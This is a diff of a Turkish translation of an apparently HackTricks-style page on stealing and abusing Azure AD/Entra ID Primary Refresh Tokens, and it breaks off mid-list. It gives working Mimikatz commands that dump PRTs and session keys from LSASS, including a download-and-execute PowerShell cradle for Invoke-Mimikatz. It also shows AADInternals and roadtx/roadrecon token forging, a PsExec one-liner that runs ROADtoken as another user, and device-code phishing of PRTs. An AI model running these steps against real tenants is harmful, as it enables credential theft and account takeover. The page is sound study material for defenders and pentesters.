ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT'ye benzer. Azure AD'ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini tekrar istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir **oturum anahtarı** (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT'ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT'nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı jeton talep ederken PRT'yi içeren bir JWT'yi **imzalamak** için kullanılır. Diğer bir deyişle, yalnızca PRT'ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır; bu, kimlik doğrulama için hem Kerberos TGT'ye hem de oturum anahtarına ihtiyaç duymaya benzer. +Bir **Primary Refresh Token (PRT)**, Azure AD (Entra ID) kimlik doğrulamasında kullanılan uzun ömürlü bir yenileme jetonudur ve Kerberos TGT'ye benzer. Azure AD'ye bağlı bir cihazda kullanıcı girişi yapıldığında verilir ve kimlik bilgilerini yeniden istemeden çeşitli uygulamalar için erişim jetonları talep etmekte kullanılabilir. Her PRT, bir **oturum anahtarı** (aynı zamanda Proof-of-Possession anahtarı olarak da adlandırılır) ile birlikte gelir - istekleri imzalamak ve istemcinin PRT'ye sahip olduğunu kanıtlamak için kullanılan simetrik bir anahtar. PRT'nin kendisi, istemci tarafından okunamayan opak, şifrelenmiş bir blob iken, oturum anahtarı, jeton talep ederken PRT'yi içeren bir JWT'yi **imzalamak** için kullanılır. Diğer bir deyişle, yalnızca PRT'ye sahip olmak yeterli değildir; bir saldırganın meşruiyeti kanıtlamak için oturum anahtarına ihtiyacı vardır, bu da kimlik doğrulama için hem Kerberos TGT'ye hem de oturum anahtarına ihtiyaç duymaya benzer. -Windows'ta, PRT ve oturum anahtarı, CloudAP eklentisi aracılığıyla LSASS sürecinde önbelleğe alınır. Bir cihazda **TPM** (Trusted Platform Module) varsa, Azure AD anahtarları ekstra güvenlik için TPM'ye bağlar. Bu, TPM ile donatılmış cihazlarda oturum anahtarının, normal koşullar altında bellekten doğrudan okunamayacak şekilde TPM içinde saklandığı veya kullanıldığı anlamına gelir. Eğer bir TPM mevcut değilse (örneğin, birçok VM veya eski sistemlerde), anahtarlar yazılımda saklanır ve DPAPI şifrelemesi ile korunur. Her iki durumda da, makinede yönetici ayrıcalıklarına veya kod yürütme yeteneğine sahip bir saldırgan, **PRT ve oturum anahtarını bellekten dökme** girişiminde bulunabilir ve ardından bunları bulutta kullanıcıyı taklit etmek için kullanabilir. Tipik yenileme jetonlarının (genellikle uygulama spesifik olan) aksine, bir PRT daha geniştir ve cihazınızın neredeyse her Entra ID entegre kaynağı veya hizmeti için jeton talep etmesine olanak tanır. +Windows'ta, PRT ve oturum anahtarı, CloudAP eklentisi aracılığıyla LSASS sürecinde önbelleğe alınır. Bir cihazda bir **TPM** (Trusted Platform Module) varsa, Azure AD anahtarları ekstra güvenlik için TPM'ye bağlar. Bu, TPM ile donatılmış cihazlarda oturum anahtarının, normal koşullar altında bellekten doğrudan okunamayacak şekilde TPM içinde saklandığı veya kullanıldığı anlamına gelir. Eğer bir TPM mevcut değilse (örneğin, birçok VM veya eski sistemlerde), anahtarlar yazılımda saklanır ve DPAPI şifrelemesi ile korunur. Her iki durumda da, makinede yönetici ayrıcalıklarına veya kod yürütme yeteneğine sahip bir saldırgan, **PRT ve oturum anahtarını bellekten dökme** girişiminde bulunabilir ve ardından bunları bulutta kullanıcıyı taklit etmek için kullanabilir. +Tipik yenileme jetonlarının (genellikle uygulama spesifik olan) aksine, bir PRT daha geniştir ve cihazınızın neredeyse her Entra ID entegre kaynağı veya hizmeti için jeton talep etmesine olanak tanır. ## PRT Nasıl Çalışır? @@ -16,7 +17,7 @@ PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim: - Cihazınız (bir Windows dizüstü bilgisayarı veya mobil telefon gibi) Entra ID'ye katıldığında veya kaydolduğunda, kimlik bilgilerinizi (kullanıcı adı/şifre/MFA) kullanarak kimlik doğrulaması yapar. -- Başarılı kimlik doğrulamanın ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir. +- Başarılı kimlik doğrulamasının ardından, Entra ID, cihazınıza özel olarak bağlanmış bir PRT verir. 2. **Jeton Depolama:** @@ -26,11 +27,11 @@ PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim: - Her seferinde Entra ID korumalı bir uygulamaya (örneğin, Microsoft 365 uygulamaları, SharePoint, Teams) eriştiğinizde, cihazınız sessizce saklanan PRT'yi kullanarak o uygulama için belirli bir erişim jetonu talep eder ve alır. -- PRT, kimlik doğrulamasını şeffaf bir şekilde yönettiği için kimlik bilgilerinizi tekrar tekrar girmenize gerek yoktur. +- Kimlik bilgilerinizi tekrar tekrar girmenize gerek yoktur çünkü PRT, kimlik doğrulamayı şeffaf bir şekilde yönetir. 4. **Yenileme ve Güvenlik:** -- PRT'ler uzun bir ömre sahiptir (genellikle yaklaşık 14 gün), ancak cihazınız aktif olarak kullanıldığı sürece sürekli olarak yenilenir. +- PRT'lerin uzun bir ömrü vardır (genellikle yaklaşık 14 gün), ancak cihazınız aktif olarak kullanıldığı sürece sürekli olarak yenilenir. - Cihazınız tehlikeye girerse veya kaybolursa, yöneticiler PRT'nizi uzaktan iptal edebilir ve yetkisiz erişimi hemen engelleyebilir. @@ -42,7 +43,7 @@ PRT'nin nasıl çalıştığını basit bir şekilde özetleyelim: - **Kullanıcı Deneyimi:** PRT'ler, sık kimlik doğrulama istemlerini azaltarak ve gerçek kesintisiz SSO'yu mümkün kılarak kullanıcı deneyimini önemli ölçüde iyileştirir. -## Bir PRT'nin mevcut olup olmadığını nasıl anlarız? +## PRT'nin Mevcut Olup Olmadığını Nasıl Anlarsınız? - PRT'nin mevcut olup olmadığını kontrol edin: ```bash @@ -61,25 +62,36 @@ dsregcmd /status # KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. # Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). ``` -## Dump and user unprotected PRTs +## PRT'yi Geç -Windows cihazlarda **TPM bağlaması olmadan** [bu gönderiye](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) göre, PRT ve oturum anahtarı LSASS'ta (CloudAP eklentisi) bulunur. O cihazda yerel admin/SYSTEM ile, PRT blob'u ve DPAPI ile şifrelenmiş oturum anahtarı **LSASS'tan okunabilir, oturum anahtarı DPAPI ile çözülerek ve imzalama anahtarı türetilerek** geçerli bir PRT çerezi (`x‑ms‑RefreshTokenCredential`) oluşturulabilir. Hem PRT'ye hem de oturum anahtarına ihtiyacınız var—sadece PRT dizesi yeterli değildir. +Windows cihazlarında **TPM bağlaması olmadan** [bu gönderiye](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) göre, PRT ve oturum anahtarı LSASS'ta (CloudAP eklentisi) bulunur. O cihazda yerel admin/SYSTEM ile, PRT blob'u ve DPAPI ile şifrelenmiş oturum anahtarı **LSASS'tan okunabilir, oturum anahtarı DPAPI ile çözülür ve geçerli bir PRT çerezi oluşturmak için imza anahtarı türetilir** (`x‑ms‑RefreshTokenCredential`). Hem PRT'ye hem de oturum anahtarına ihtiyacınız var; yalnızca PRT dizesi yeterli değildir. ### Mimikatz + +1. **PRT (Birincil Yenileme Token'ı) LSASS'tan** (Yerel Güvenlik Otoritesi Alt Sistem Servisi) çıkarılır ve sonraki kullanım için saklanır. +2. **Oturum Anahtarı daha sonra çıkarılır**. Bu anahtar başlangıçta verildiği ve ardından yerel cihaz tarafından yeniden şifrelendiği için, bir DPAPI anahtarının kullanılarak çözülmesi gerekmektedir. DPAPI (Veri Koruma API'si) hakkında ayrıntılı bilgiye bu kaynaklarda ulaşabilirsiniz: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ve uygulamasını anlamak için [Çerezi geçme saldırısına](az-pass-the-cookie.md) bakabilirsiniz. +3. Oturum Anahtarı çözüldükten sonra, **türetilen anahtar ve PRT için bağlam elde edilir**. Bunlar **PRT çerezinin oluşturulması için** kritik öneme sahiptir. Özellikle, türetilen anahtar, çerezi oluşturan JWT'yi (JSON Web Token) imzalamak için kullanılır. Bu sürecin kapsamlı bir açıklaması Dirk-jan tarafından sağlanmıştır, [buradan](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) erişebilirsiniz. ```bash privilege::debug sekurlsa::cloudap -``` -**PRT alanı**, şifrelenmiş yenileme jetonunu (tipik olarak base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64). -Daha sonra, **`sekurlsa::cloudap`** çıktısından, `ProofOfPossessionKey` alanındaki **`KeyValue`** içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz – sistemin DPAPI kimlik bilgileri kullanılarak şifre çözülmelidir. +# Or in powershell +iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") +Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' +``` +**PRT alanı**, şifrelenmiş yenileme jetonunu (genellikle base64 dizesi) içerir ve ProofOfPossessionKey içindeki KeyValue, DPAPI ile şifrelenmiş oturum anahtarıdır (aynı zamanda base64). + +Daha sonra, **`sekurlsa::cloudap`** çıktısından, `ProofOfPossessionKey` alanındaki **`KeyValue`** içindeki base64 blobunu kopyalayın (bu, DPAPI ile şifrelenmiş oturum anahtarıdır). Bu şifrelenmiş anahtar olduğu gibi kullanılamaz – sistemin DPAPI kimlik bilgileri kullanılarak şifrelenmesi gerekir. Çünkü sistem sırları için DPAPI şifrelemesi, makinenin sistem bağlamını gerektirir, jetonunuzu SYSTEM olarak yükseltin ve Mimikatz’in DPAPI modülünü kullanarak şifreyi çözün: ```bash token::elevate dpapi::cloudapkd /keyvalue: /unprotect + +# PowerShell version +Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue: /unprotect"' ``` -`token::elevate` SYSTEM'ı taklit edecek ve `dpapi::cloudapkd` komutu `/unprotect` ile sağlanan KeyValue blob'unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve imzalama için kullanılan ilişkili Türetilmiş Anahtar ve Bağlamı sağlar: +`token::elevate`, SYSTEM'ı taklit edecek ve `dpapi::cloudapkd` komutu `/unprotect` ile sağlanan KeyValue blob'unu çözmek için DPAPI anahtarını kullanacaktır. Bu, açık metin oturum anahtarını ve ayrıca imzalama için kullanılan ilişkili Türetilmiş Anahtar ve Bağlamı sağlar: - **Açık anahtar** – düz metin olarak 32 baytlık oturum anahtarı (hex dizesi olarak temsil edilir). - **Türetilmiş Anahtar** – oturum anahtarından ve bir bağlam değerinden türetilen 32 baytlık anahtar (bununla ilgili daha fazla bilgi aşağıda). - **Bağlam** – PRT çerezi için imzalama anahtarını türetirken kullanılan 24 baytlık rastgele bağlam. @@ -98,10 +110,9 @@ Mimikatz, "Signature with key" satırından sonra PRT'yi içeren ve türetilmiş Ayrıca, kullanıcıyı taklit etmek için PRT çerezinin PRT'si ile **`roadtx`** ve **`roadrecon`** kullanılabilir *(TODO: roadtx/roadrecon kullanarak PRT'den kimlik bilgilerini almak için kullanılacak tam komut satırlarını bul)*. +### Mimikatz + AADInternals -### AADInternals - -**`AADInternals`** PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak üzere nonce ile yeni bir PRT belirteci elde etme sürecini otomatikleştirmek için yararlıdır: +**`AADInternals`** PowerShell modülü, daha önce elde edilen PRT ve oturum anahtarı ile geçerli bir PRT belirteci oluşturmak için de kullanılabilir. Bu, nonce ile yeni bir PRT belirteci alma sürecini otomatikleştirmek için yararlıdır; bu, Azure AD Graph API veya diğer kaynaklar için erişim belirteçleri almak için kullanılabilir: ```bash # Code from https://aadinternals.com/post/prt/ # Add the PRT to a variable @@ -125,27 +136,46 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey # Get an access token for MS Graph API Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken ``` -This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood. +Bu, yeni bir PRT çerezi (nonce ile) alır ve ardından bunu Azure AD Graph API için bir erişim belirteci almak üzere kullanır (kullanıcı adına bulut erişimini gösterir). AADInternals, kriptografinin çoğunu soyutlar ve arka planda Windows bileşenlerini veya kendi mantığını kullanır. +### Mimikatz + roadtx + +- Öncelikle PRT'yi yenileyin, bu `roadtx.prt` dosyasına kaydedilecektir: +```bash +roadtx prt -a renew --prt --prt-sessionkey +``` +- Artık `roadtx browserprtauth` ile etkileşimli tarayıcı kullanarak **token talep edebiliriz**. `roadtx describe` komutunu kullanırsak, erişim tokeninin bir MFA talebi içerdiğini görürüz çünkü bu durumda kullandığım PRT de bir MFA talebine sahipti. +```bash +roadtx browserprtauth +roadtx describe < .roadtools_auth +``` +
+ +#### Mimikatz + roadrecon + +Mimikatz tarafından dökülen bağlam ve türetilmiş anahtar ile, roadrecon kullanarak yeni bir imzalı çerez oluşturmak mümkündür: +```bash +roadrecon auth --prt-cookie --prt-context --derives-key +``` ## Korunan PRT'lerin Suistimali -Bahsedilen korumalara rağmen, bir cihazı (yerel kullanıcı veya hatta SYSTEM olarak) zaten ele geçirmiş bir saldırgan, Windows'un kendi token broker API'lerini ve güvenlik bileşenlerini kullanarak **taze erişim token'ları elde etmek için PRT'yi suistimal edebilir**. Saldırgan, ham PRT veya anahtarı **çıkarmak** yerine, aslında **Windows'tan PRT'yi kendi adına kullanmasını "ister"**. Aşağıdaki bölümlerde, TPM korumalarının geçerli olduğu güncel Windows cihazlarında PRT'leri ve oturum anahtarlarını suistimal etmek için geçerli teknikleri özetliyoruz. Tüm bu teknikler, hedef makinede post-exploitation erişimi varsayar ve **yerleşik kimlik doğrulama akışlarını suistimal etmeye odaklanır** (yamanmamış güvenlik açıklarına ihtiyaç yoktur). +Belirtilen korumalara rağmen, bir cihazı (yerel bir kullanıcı veya hatta SYSTEM olarak) zaten ele geçirmiş bir saldırgan, Windows'un kendi token broker API'lerini ve güvenlik bileşenlerini kullanarak **yeni erişim token'ları elde etmek için PRT'yi suistimal edebilir**. Saldırgan, ham PRT veya anahtarı **çıkarmak yerine**, aslında **Windows'tan PRT'yi kendi adına kullanmasını "ister"**. Aşağıdaki bölümlerde, TPM korumalarının geçerli olduğu güncel Windows cihazlarında PRT'leri ve oturum anahtarlarını suistimal etmek için geçerli teknikleri özetliyoruz. Tüm bu teknikler, hedef makinede post-exploitation erişimi varsayar ve **yerleşik kimlik doğrulama akışlarını suistimal etmeye odaklanır** (yamanmamış güvenlik açıklarına ihtiyaç yoktur). ### Windows Token Broker Mimarisi ve SSO Akışı Modern Windows, bulut kimlik doğrulamasını yerleşik bir **token broker** yığını aracılığıyla yönetir; bu, hem kullanıcı modunda hem de LSASS (Yerel Güvenlik Otoritesi) içinde bileşenler içerir. Bu mimarinin ana parçaları şunlardır: -- **LSASS CloudAP Eklentisi:** Bir cihaz Azure AD'ye katıldığında, LSASS PRT'leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemleri gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, bir PRT zorluğunu oturum anahtarı ile imzalamak). +- **LSASS CloudAP Eklentisi:** Bir cihaz Azure AD'ye katıldığında, LSASS PRT'leri ve token taleplerini yöneten bulut kimlik doğrulama paketlerini (örneğin, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) yükler. LSASS (SYSTEM olarak çalışan) PRT depolama, yenileme ve kullanımını düzenler ve kriptografik işlemler gerçekleştirmek için TPM ile etkileşimde bulunur (örneğin, oturum anahtarı ile bir PRT talebini imzalamak). - **Web Hesap Yöneticisi (WAM):** Windows Web Hesap Yöneticisi, uygulamaların veya tarayıcıların kimlik bilgilerini istemeden bulut hesapları için token talep etmelerine olanak tanıyan bir kullanıcı modu çerçevesidir (COM/WinRT API'leri aracılığıyla erişilebilir). WAM, kullanıcı uygulamaları ile güvenli LSASS/TPM destekli PRT arasında bir broker olarak işlev görür. Örneğin, Microsoft'un MSAL kütüphanesi ve belirli işletim sistemi bileşenleri, oturum açmış kullanıcının PRT'sini kullanarak sessizce token almak için WAM'ı kullanır. -- **BrowserCore.exe ve Token Broker COM arayüzleri:** Tarayıcı SSO'su için Windows, **BrowserCore.exe** adında bir bileşen içerir ( *Windows Security\BrowserCore* altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token'ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisidir. Arka planda, BrowserCore, PRT tabanlı bir çerez/token almak için `MicrosoftAccountTokenProvider.dll` tarafından sağlanan bir COM nesnesini kullanır. Özünde, bu COM arayüzü, kullanıcının geçerli bir PRT'si olduğu sürece, kullanıcı olarak çalışan herhangi bir işlem tarafından çağrılabilen birinci taraf "token broker" API'sidir. +- **BrowserCore.exe ve Token Broker COM arayüzleri:** Tarayıcı SSO'su için Windows, **BrowserCore.exe** adında bir bileşen içerir ( *Windows Security\BrowserCore* altında bulunur). Bu, tarayıcılar (Edge, Chrome bir uzantı aracılığıyla vb.) tarafından Azure AD girişi için PRT türetilmiş bir SSO token'ı elde etmek için kullanılan yerel bir mesajlaşma ana bilgisidir. Arka planda, BrowserCore, `MicrosoftAccountTokenProvider.dll` tarafından sağlanan bir COM nesnesini kullanarak PRT tabanlı bir çerez/token alır. Özünde, bu COM arayüzü, kullanıcı olarak çalışan herhangi bir sürecin SSO token'ı almak için çağrabileceği birinci taraf "token broker" API'sidir (kullanıcının LSASS'ta geçerli bir PRT'si olduğu sürece). -Bir Azure AD katılımcısı bir kaynağa erişmeye çalıştığında (örneğin, Azure Portal), akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore'un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir **SSO token'ı** üretir - genellikle **PRT çerezi** olarak adlandırılır - bu daha sonra uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT'dir ve PRT'nin oturum anahtarından türetilen bir anahtarla imzalanır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT'ye sahip olduğunu kanıtlamak için Azure AD'ye (bir `x-ms-RefreshTokenCredential` başlığında) gönderilir ve Azure AD'nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token'ları vermesine olanak tanır. Özellikle, PRT'de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token'lara taşınır; bu da PRT türetilmiş token'ların MFA korumalı kaynakları karşılayabileceği anlamına gelir. +Bir Azure AD katılımcısı bir kaynağa (örneğin, Azure Portal) erişmeye çalıştığında, akış genellikle şöyle olur: bir uygulama WAM veya BrowserCore'un COM arayüzüne çağrıda bulunur, bu da LSASS ile iletişim kurar. LSASS, PRT ve oturum anahtarını (TPM tarafından güvence altına alınmış) kullanarak bir **SSO token'ı** üretir -- genellikle **PRT çerezi** olarak adlandırılır -- bu daha sonra uygulamaya veya tarayıcıya geri verilir. PRT çerezi, şifrelenmiş PRT ve bir nonce içeren özel bir JWT'dir ve PRT'nin oturum anahtarından türetilen bir anahtarla imzalanmıştır. Bu çerez, cihazın ve kullanıcının geçerli bir PRT'ye sahip olduğunu kanıtlamak için Azure AD'ye (bir `x-ms-RefreshTokenCredential` başlığı içinde) gönderilir ve Azure AD'nin çeşitli uygulamalar için standart OAuth yenileme ve erişim token'ları vermesine olanak tanır. Özellikle, PRT'de bulunan herhangi bir Çok Faktörlü Kimlik Doğrulama (MFA) talebi, bu SSO süreci aracılığıyla elde edilen token'lara taşınır; bu da PRT türetilmiş token'ların MFA korumalı kaynakları karşılayabileceği anlamına gelir. ### Kullanıcı Düzeyinde Token Hırsızlığı (Yönetici Olmayan) -Bir saldırgan **kullanıcı düzeyinde kod yürütme** yeteneğine sahip olduğunda, PRT'nin TPM koruması, saldırganın token'ları elde etmesini engellemez. Saldırgan, **yerleşik Windows Token Broker API'lerini kullanır**: +Bir saldırganın **kullanıcı düzeyinde kod yürütmesi** olduğunda, PRT'nin TPM koruması, saldırganın token'ları elde etmesini engellemez. Saldırgan, **yerleşik Windows Token Broker API'lerini kullanır**: #### **BrowserCore (MicrosoftAccountTokenProvider COM)** @@ -158,17 +188,49 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com *(Azure AD yenileme jetonu veya PRT çerezi döner)* - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** + +ROADtoken, doğru dizinden **`BrowserCore.exe`** çalıştıracak ve bunu **PRT çerezi elde etmek** için kullanacaktır. Bu çerez daha sonra ROADtools ile kimlik doğrulamak ve **kalıcı bir yenileme jetonu elde etmek** için kullanılabilir. + +Geçerli bir PRT çerezi oluşturmak için ihtiyacınız olan ilk şey bir nonce'dur.\ +Bunu şu şekilde alabilirsiniz: ```bash -ROADtoken.exe --nonce -roadrecon auth --prt-cookie +$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" +$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" + +$Params = @{ +"URI" = $URL +"Method" = "POST" +} +$Body = @{ +"grant_type" = "srv_challenge" +} +$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body +$Result.Nonce +AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -*(Nonce oluşturur, PRT çerezini almak için BrowserCore'u çağırır, ardından ROADtools aracılığıyla onu kullanır)* +Veya [**roadrecon**](https://github.com/dirkjanm/ROADtools) kullanarak: +```bash +roadrecon auth prt-init +``` +Sonra yeni bir PRT almak için [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kullanabilirsiniz (saldırı için kullanıcının bir sürecinden aracı çalıştırın): +```bash +.\ROADtoken.exe +``` +Bir satırlık: +```bash +Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} +``` +Sonra **oluşturulan çerezi** kullanarak **jetonlar** **üretebilir** ve Azure AD **Graph** veya Microsoft Graph kullanarak **giriş** yapabilirsiniz: +```bash +# Generate +roadrecon auth --prt-cookie +# Connect +Connect-AzureAD --AadAccessToken --AccountId +``` +### **Web Account Manager (WAM) API'leri** -### **Web Hesap Yöneticisi (WAM) API'leri** - -Saldırganlar, kullanıcı düzeyindeki süreçlerden TPM korumalı PRT'yi kullanarak sessizce token almak için meşru Microsoft kimlik doğrulama kütüphanelerini (**MSAL**, **WAM API'leri**, **WebAuthenticationCoreManager**) kullanır. - +Saldırganlar, kullanıcı düzeyindeki süreçlerden TPM korumalı PRT'yi kullanarak sessizce token almak için meşru Microsoft kimlik doğrulama kütüphanelerini (**MSAL**, **WAM API'leri**, **WebAuthenticationCoreManager**) kullanır. - **[aadprt](https://posts.specterops.io/)** ```bash @@ -198,27 +260,27 @@ Eğer saldırgan **Yönetici veya SYSTEM** seviyesine yükselirse, doğrudan her Admin/SYSTEM, token üretimi için BrowserCore veya WAM'ı çağırmak amacıyla diğer kullanıcıların çalışan oturumlarını taklit edebilir. -Bunun için sadece kullanıcı sürecini taklit edin (örneğin, `explorer.exe`) ve önceki bölümde yorumlanan herhangi bir teknikle token broker API'lerini çağırın. +Bunun için sadece kullanıcı sürecini taklit edin (örneğin, `explorer.exe`) ve önceki bölümde belirtilen herhangi bir teknikle token broker API'lerini çağırın. ### **Doğrudan LSASS & Token Broker Etkileşimi (İleri Düzey)** -Bir yönetici, PRT'yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS'a kod enjekte edebilir veya LSASS'ın bir token üretmesini sağlamak için iç CloudAP fonksiyonlarını çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS'taki PRT anahtarlarıyla kripto API'leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, bir PRT çerezi oluşturmak için LSASS'ın kendi fonksiyonlarını (API hooking veya RPC gibi bir teknikle, mevcutsa) kullanmak anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir – örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut token tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme token'larını önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırgânı, belirli uygulamalar için yenileme token'larını doğrudan çalmak amacıyla bu DPAPI korumalı token'ları çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD'nin taze token'lar (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş token broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir. +Bir yönetici, PRT'yi suistimal etmek için LSASS ile çalışmaya devam edebilir: örneğin, bir yönetici LSASS'a kod enjekte edebilir veya LSASS'ın bir token üretmesini sağlamak için iç CloudAP fonksiyonlarını çağırabilir. Dirk-jan’ın araştırması, bir yöneticinin “LSASS'taki PRT anahtarlarıyla kripto API'leri kullanarak etkileşimde bulunabileceğini” belirtmiştir. Pratikte, bu, LSASS’ın kendi fonksiyonlarını (API hooking veya RPC gibi bir teknikle, mevcutsa) kullanarak bir PRT çerezi üretmek anlamına gelebilir. Diğer bir yaklaşım, oturum anahtarının bellek içinde görünebileceği herhangi bir pencereyi istismar etmektir – örneğin, PRT yenileme veya cihaz kaydı sırasında, kullanıma sunulmadan önce şifrelenmemişken. Bu tür saldırılar oldukça karmaşık ve durumsaldır. Daha basit bir yönetici taktiği, mevcut token tutucularını veya önbellekleri suistimal etmektir: LSASS, bellek içinde uygulamalar için yakın zamanda verilmiş yenileme token'larını önbelleğe alır (DPAPI ile şifrelenmiş). Kararlı bir SYSTEM saldırganu, belirli uygulamalar için yenileme token'larını doğrudan çalmak amacıyla bu DPAPI korumalı token'ları çıkarmaya çalışabilir (bir yönetici tarafından elde edilebilen kullanıcının anahtarını kullanarak). Ancak, en kolay ve en genel yöntem, Azure AD'nin taze token'lar (tüm uygun taleplerle) vermesini garanti eden taklit ve belgelenmiş token broker arayüzlerinin kullanımıdır; bu, şifrelemeyi kırmaya çalışmaktan daha etkilidir. -## PRT'yi Phishing +## PRT'leri Phishing -**OAuth Cihaz Kodu** akışını **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) ve **Cihaz Kaydı Servisi (DRS)** kaynağını kullanarak bir **yenileme token'ı elde etmek için** suistimal edin; bu token, bir **sahte cihaz** kaydedildikten sonra bir **Birincil Yenileme Token'ına (PRT)** yükseltilebilir. +**OAuth Cihaz Kodu** akışını **Microsoft Authentication Broker istemci kimliği** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) ve **Cihaz Kayıt Servisi (DRS)** kaynağını kullanarak bir **yenileme token'ı elde etmek için** suistimal edin; bu token, bir **sahte cihaz** kaydedildikten sonra bir **Birincil Yenileme Token'ına (PRT)** yükseltilebilir. ### **Bunun neden işe yaradığı** - **PRT** **cihaz bağlıdır** ve **(neredeyse) her Entra korumalı uygulama için SSO'yu** etkinleştirir. -- **Broker client + DRS** kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen **yenileme token'ının** **PRT ile değiştirilmesine** olanak tanır. -- **MFA atlanmaz**: **kullanıcı, phishing sırasında MFA** gerçekleştirir; **MFA talepleri**, sonuçta elde edilen PRT'ye yayılır ve saldırgânın uygulamalara **daha fazla istem olmadan** erişmesini sağlar. +- **Broker istemci + DRS** kombinasyonu, bir cihaz kaydedildiğinde phishing ile elde edilen **yenileme token'ının** **PRT ile değiştirilmesine** olanak tanır. +- **MFA atlanmaz**: **kullanıcı, phishing sırasında MFA** gerçekleştirir; **MFA talepleri** sonuçta elde edilen PRT'ye yayılır, bu da saldırganın uygulamalara **daha fazla istem olmadan** erişmesini sağlar. -**Gereksinimler**: +**Ön koşullar**: -- **Cihaz Kodu aracılığıyla kullanıcı kimlik doğrulaması**, **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) ve **DRS kapsamı/kaynağı** (örneğin, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** veya **`https://enrollment.manage.microsoft.com/`**). +- 